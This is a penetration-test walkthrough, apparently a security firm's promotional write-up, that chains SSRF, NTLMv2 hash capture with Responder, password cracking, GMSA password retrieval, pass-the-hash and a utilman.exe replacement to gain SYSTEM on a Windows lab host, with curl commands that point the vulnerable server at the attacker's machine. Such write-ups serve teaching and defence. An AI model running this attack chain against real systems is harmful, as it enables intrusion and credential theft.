Introduction (Pen Test vs. Vulnerability Scan)
In this demonstration we leverage a Server-Side Request Forgery (SSRF) vulnerability, and then abuse the privileges of two users to access the root system of the server. If we had only performed a vulnerability scan on the target, we probably would have detected the SSRF vulnerability as a high or medium issue, and then been given some remediation options. End of story. Only a skilled penetration tester or red-team operator will be able to reveal the different ways that the vulnerability could be used as part of an attack chain to gain full control of the system.
Overview
Server-Side Request Forgery (SSRF) flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).
As modern web applications provide end-users with convenient features, fetching a URL becomes a common scenario. As a result, the incidences of SSRF attacks are increasing. Also, the severity of SSRF threats is rising because of cloud services and architecture complexity.
In this demonstration, we will leverage an SSRF vulnerability to retrieve an NTLMv2 handshake via Responder. We’ll then abuse the privileges of two users to obtain write permissions on the C:\Windows\system32\utilman.exe binary and trigger system-integrity execution via Remote Desktop Protocol (RDP).
Enumeration
Nmap
We begin our enumeration with a simple Nmap all-ports scan (Figure 1):
Figure 1: Results of Nmap all-ports scan: sudo nmap -vv -n -Pn -p- 192.168.72.165. (“Sudo” stands for either “substitute user do,” or “super user do,” and is a program that enables users to run programs with the security privileges of another user.)
There are many open ports on the target. The port numbers and banners indicate that this is most likely a Windows host. We’ll focus on the HTTP service running on port 8080. We scan for more details (Figure 2).
sudo nmap -vv –n –Pn -A –p8080 192.168.72.165
Figure 2: Aggressive scan of port 8080.
A quick online search of “Werkzeug” reveals that this is likely a Flask web application. Flask is a Python web framework that helps developers create web applications using the Python language.
HTTP Enumeration
Visiting the web app on port 8080, we are presented with a URL input form labeled “Super Secure Web Browser” (Figure 3).
curl http://192.168.72.165 (“curl” stands for “client URL,” which lets developers transfer data to and from a server).
Figure 3: URL input form.
Since the form is expecting a URL, let’s see if we can make it reach out to our attacking machine by supplying our IP address. We’ll note that the GET variable for the URL is named “URL.”
First, we’ll start our handy Python3 web server with sudo python3 -m http.server 80 (Figure 4).
Figure 4: Python 3 HTTP server.
We send our request, supplying the address of our machine in the URL parameter (Figure 5).
curl http://192.168.72.165:8080/?url=http://192.168.49.72
Figure 5: We get a directory listing of our machine’s home directory.
We look at our web server and we see a request from the target (Figure 6).
Figure 6: Request from our target.
Exploitation
Server-Side Request Forgery (SSRF)
Server-side request forgery (SSRF) is a web security vulnerability that allows us to induce the server-side application to make HTTP requests to an arbitrary domain of our choosing. Seeing that this is a Windows target, we will attempt to steal an NTLMv2 handshake via responder, leveraging the SSRF vulnerability. We’ll begin by running responder on our active network interface. In this case, the interface is tun0 (Figure 7).
Figure 7: Responder running on tun0. (Network interfaces are named “tun0,” “tun1,” and so on, for each control device that has been opened.)
With Responder listening, we resend our request.
curl http://192.168.72.165:8080/?url=http://192.168.49.72
After the request is sent, the responder receives the NTLMv2 handshake with a password hash (Figure 8).
Figure 8: Responder receives an NTLM handshake.
We save the hash in file hash.txt and run John the Ripper with the rockyou.txt wordlist. Almost instantly we crack the hash (Figure 9).
Figure 9: Hash cracked enox:California. Enox is the user and “california” is the password.
Since our Nmap scan showed the port 3389 open, we could try logging in via a remote desktop protocol (RDP) using rdesktop. Unfortunately, that does not seem to work. Another approach is to utilize Windows Remote Management as we saw the port 5985 open as well. We’ll use the Evil-Winrm tool for this (Figure 10).
Figure 10: We log in as enox with Evil-Winrm.
Escalation
Local Enumeration
Inside the C:\Users\enox\Desktop directory, we find a file todo.txt. Just as expected, it contains a list of remaining items for the developers to implement (Figure 11).
Figure 11: Documents on the desktop of user enox.
The item Migrate to apache is not marked as DONE (Figure 12). Seeing how the web application is running as a local user enox, we can venture a guess that the developers are intending to change the application to run under the context of a service account instead. Let’s see what other users exist on this system (Figure 13).
Figure 12: Migrate to apache is not marked as completed.
We find the account svc_apache$. Judging by the trailing $ character, we know that this is a service account and probably the same account the developers are intending to use. Let’s see what groups this account belongs to.
Figure 13: Other users.
We’ll also check what groups our user is in (Figure 14).
Figure 14: Active Directory (AD) group memberships.
The account we have taken over is in the Web Admins group. We can venture an educated guess that we might have some power over the Apache service account (Figure 15).
Figure 15: enox is in the Web-Admins group.
Group Managed Service Accounts (GMSA)
Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential. These service accounts are assigned automatically generated passwords. Given certain permissions, it is possible to retrieve these password hashes from Active Directory. To see what users or groups have permissions to do that for a given service account, we can look up the PrincipalsAllowedToRetrieveManagedPassword user property on the account (Figure 16).
Figure 16: Service Account properties.
Nice! It looks like we have the ReadGMSAPassword privilege over the svc_apache$ service account (Figure 17).
Figure 17: We have ReadGMSAPassword privilege over the svc_apache$ service account.
Retrieving the ReadGMSAPassword Hash
To retrieve the hash, we’ll use a publicly available tool GMSAPasswordReader. Let’s download it from GitHub to our attacking machine (Figure 18).
Figure 18: We download GMSAPasswordReader.exe.
We can now upload it to the target using our WinRM shell, and then execute it against the svc_apache$ user (Figure 19).
Figure 19: We retrieve the RC4 HMAC of the password.
Great! The tool retrieved the current RC4 HMAC of the password as 9C5B09584D21E5CFE41609623A78B8E8.
Pass the Hash Attack
Next, we’ll attempt to perform a pass the hash attack using evil-winrm to authenticate as svc_apache$ with the recovered hash. The attack is successful, and we have taken over this service account as well (Figure 20).
Figure 20: Passing the hash.
Permission Enumeration
Checking this account’s privileges, we discover that the account has the SeRestorePrivilege permission (Figure 21).
Figure 21: SeRestorePrivilege.
SeRestorePrivilege Abuse
The SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed-up files and directories, thus giving the user read and write access to system files.
We will use the EnableSeRestorePrivilege.ps1 script to enable this privilege in our PowerShell session. Let’s begin by downloading it to our attacking machine (Figure 22).
Figure 22: EnableSERestorePrivilege.ps1 downloaded.
We upload the module and execute on the target (Figure 23).
Figure 23: Running the module.
Utilman.exe Abuse with RDP
Utilman.exe is a built-in Windows application that is designed to allow users to configure system accessibility options such as the Magnifier, High Contrast Theme, Narrator, and On-Screen Keyboard before they log in to the system.
This application is triggered by issuing the WIN + U key combination while on the Windows logon screen. It’s important to note that the application runs with SYSTEM privileges. We can leverage our write access in the system directory C:\Windows\System32 to replace utilman.exe with cmd.exe (Figure 24).
Figure 24: We replace utilman.exe with cmd.exe.
We trigger the application using rdesktop and get a SYSTEM shell on the server. We own the server! (Figure 25).
Figure 25: System shell.
Conclusion
In this demonstration we leveraged an SSRF vulnerability to retrieve an NTLMv2 handshake via Responder, we then abused privileges of two users to obtain write permissions on the C:\Windows\system32\utilman.exe binary and triggered system-integrity execution via Remote Desktop Protocol.
As we mentioned earlier, if we had only performed a vulnerability scan on the target, we probably would have detected the SSRF vulnerability as a high or medium issue. Some remediation options would have been presented, and that would have been that. Only a skilled penetration tester or red-team operator has the ability to uncover the different ways in which the vulnerability could be used as part of an attack chain, giving the bad actor full control of the system.
Don’t let vulnerability scans give you a false sense of security with their limited scope. Schedule your penetration test today!
